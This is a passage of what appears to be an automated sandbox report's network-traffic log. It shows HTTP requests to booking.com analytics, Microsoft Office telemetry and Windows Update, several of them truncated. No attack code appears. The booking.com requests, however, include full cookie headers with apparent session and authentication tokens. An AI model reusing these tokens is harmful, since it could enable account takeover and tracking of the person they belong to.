HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxc
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b41363a332d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=37323524266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304330343025324334373127304b3134303030253746253a432d37402d3a326d6d2d303a273241323032253241363835273a413334323c352737442d324b27374a2d32326d65273a302530433030342530433732302d3043333638353b27354c253a41273d4a253232656f2d303227324131383827324335333d273243313c303a36253d442d30412d3d4225323a6f65273230253043313731253241353a352532413b343330322d354c27304b2d3542253a30656f2530322732433134302530413f313825304b3336333330253d46273a4b2535422d303a6f6d27323025324333343827304b353437273a4331363130352d37462d3a4325354a273a306d6f25303225324131333a273a413735342d324131343a303927374c2d3243253d402d30326f6d27323225304331303a2d304337343c253041333c323c35273d4c2532432d374a2732306d6f253232273243333038273243353f312730433b343a35352d3d4425324b273d402530326f6d2532302532413339302532413f373527324b333c303b3a2d3544253a412d37422732306d6d25303225304139323525304b373a31253a433b3631383e2535442d304b2735402530326d6d27323227304b3b3925304b373a3a253a433b36313c392535442d304b2735402530326d6d27323227304b3b3325304b373b31253a433b36313d3f2535442d304b2735402530326d6d27323227304b3a3825304b373b35253a433b363130392535442d304b2735402530326d6d27323227304b3a3425304b383233253a433b36363a382535442d304b2735402530326d6d27323227304b3a3025304b383236253a433b36363b3c2535442d304b2735402530326d6d27323227304b353625304b383235253a433b36363d3a2535442d304b2735402530326d6d27323227304b353225304b383332253a433b36363e312535442d374c24626a73615f696e6665783f303e HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ytlZGP63T2+BVG4&MD=KL9+HNKk HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413732352d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=38323124266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304335302732433833322530413b363531312d354627324b253d40273a3a6d6d253a302d304334372732433833352530413b3635323a2d354627324b253d40273a3a6d6d253a302d304334342732433833372530413b363537342d354627324b253d40273a3a6d6d253a302d304334322732433833382530413b3635393b2d354627324b253d40273a3a6d6d253a302d304334302732433830302530413b3636333a2d354627324b253d40273a3a6d6d253a302d304337382732433830312530413b363638372d354627324b253d40273a3a6d6d253a302d304337372732433830332530413b363733332d354627324b253d40273a3a6d6d253a302d304337352732433830342530413b363734352d354627324b253d40273a3a6d6d253a302d304337342732433830352530413b363736312d354627324b253d40273a3a6d6d253a302d304337332732433830362530413b3637373a2d354627324b253d40273a3a6d6d253a302d304337322732433830372530413b363739312d354627324b253d40273a3a6d6d253a302d304337312732433830372530413b363831322d354627324b253d40273a3a6d6d253a302d304337302732433830382530413b3638353a2d354627324b253d40273a3a6d6d253a302d304336392732433830392530413b363930372d354627324b253d40273a3a6d6d253a302d304336382732433831302530413b363938312d354627324b253d40273a3a6d6d253a302d304336372732433831302530413b373031302d354627324b253d40273a3a6d6d253a302d304336372732433831312530413b373034362d354627324b253d40273a3a6d6d253a302d304336362732433831312530413b373036372d354627324b253d40273a3a6d6d253a302d304336362732433831322530413b373130352d354627324b253d40273a3a6d6d253a302d304336352732433831322530413b373135312d354627324b253d40273a3a6d6d253a302d304336342732433831332530413b373230322d354627324b253d40273a3a6d6d253a302d304336332732433831342530413b373234352d354627354c266a6a716b57696e646d7a353037 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413732382d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=31333824266a6361353326626a7b633f27354a253d40273a3a6d6d253a302d304336322732433831342530413b373236312d354627324b253d40273a3a6d6d253a302d30433b392732433736312530413b373933332d354627324b253d40273a3a6d6d253a302d304333353325324334353827304b313539343e253746253d442e606a7b6b5f696e6c67703f323a HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /P6nQHL0MC3TG3eTS?3f49670b62a5321b=b2BpyXbkjfUYf8oyKkrJniBdofWF9CFeWDzVQEzkCuWomPM3pcDaUBgRTf5qO1jUG2mGdOmHlSRcjikuxX-Abj34NHETdDnegY-5AT3ue1el463LjQddO2tTC9wJG9_7OQpPLcUaZtFXKsdLzf1meSdhRwKwn1wYT65Jt3vUXS_YKI-TyNWX1XRagm20kWlJoGkmC--ABuHvEfBUIfg&je=383226246a61613f39246268716b653f27374a253a30727c717065732d303a2733432535422532306d6f77716d273232273b413730372d374c27304b2d3232707c7b78672530322733412530327061273a30253746 HTTP/1.1Host: asanalytics.booking.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://account.booking.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: pcm_consent=analytical%3Dtrue%26countryCode%3DUS%26consentId%3D96ef7dd9-30f0-437c-b184-806b888ba8c4%26consentedAt%3D2024-11-02T13%3A00%3A04.856Z%26expiresAt%3D2025-05-01T13%3A00%3A04.856Z%26implicit%3Dtrue%26marketing%3Dtrue%26regionCode%3DTX%26regulation%3Dnone%26legacyRegulation%3Dnone; bkng_sso_auth=CAIQsOnuTRpmRItQkpzoulbBFuU1Y3GMSm97+fl/o63mZ78FuUB2FRsPL93kg9TTu9vakBBkfYH6WPCC//8z/8Lx6W7ttfymqnRXPYo/LvJtyP8c3w9F+WgOdVWbZeZtzt5n6bsIRD3HXgbOWAIc; bkng_sso_ses=e30; bkng_sso_session=e30; thx_guid=744a72dce4585bbd8929764b404ef635; tmx_guid=AAxud7VX2IM1oiAtv2h0umy5YBSAzcJpbgSNee2xhxteVPcp43EQqPH-pHYQ-graoguG50395K4s4FXbU1VALTA5xrVlRA; bkng_bfp=79334c055845370a281e6b1e664da535; ecid=jD%2BCYhqZ7xGsv9nOw7w5PwqB; _ga=GA1.2.2135407162.1730552424; _gid=GA1.2.1167330036.1730552424; pxcts=7291484d-991a-11ef-b02a-82203c5d5fbb; _pxvid=72913d3b-991a-11ef-b02a-debd632d34c4; _px3=e654c543dbc5cea45acd64e460a9a28a69bf1a114b876479ab21dfda1cbebf79:8BqvfClqD7X+bR6RZCQcwaj3YY8XvphnT6mq1biiGCptYrfqHUXPBorPmtX5OuEmRiSP0qvgx5TzSpCYVIJsLA==:1000:9bFXacjv+VAhpq7p0EUzoZEEnAkGhPZuZ7VtFTIHCXIp0F9e+b5ppE+p6DwLnFSQIdv4oU/H+YP9ytq8kqNp5E68ve58tn55slvw/fjAjn7P864lOxKUPyxJqCoKItOxfsuGcP1AkLlqvnjfOE27vJehw0GFeBWiront3FAAuufC6xf45I5n1k87I+V2VbtnZAVFRgN5r7bgkxHIqQkDTx/HpogrTNiFyOyvS7l6L+0=; _pxde=e2dd7eadbad395558456ef347e98a04e7ffa1f0be677f9c2c877145dbdb5760b:eyJ0aW1lc3RhbXAiOjE3MzA1NTI0MzUxNTksImZfa2IiOjAsImlwY19pZCI6WzE3XX0=
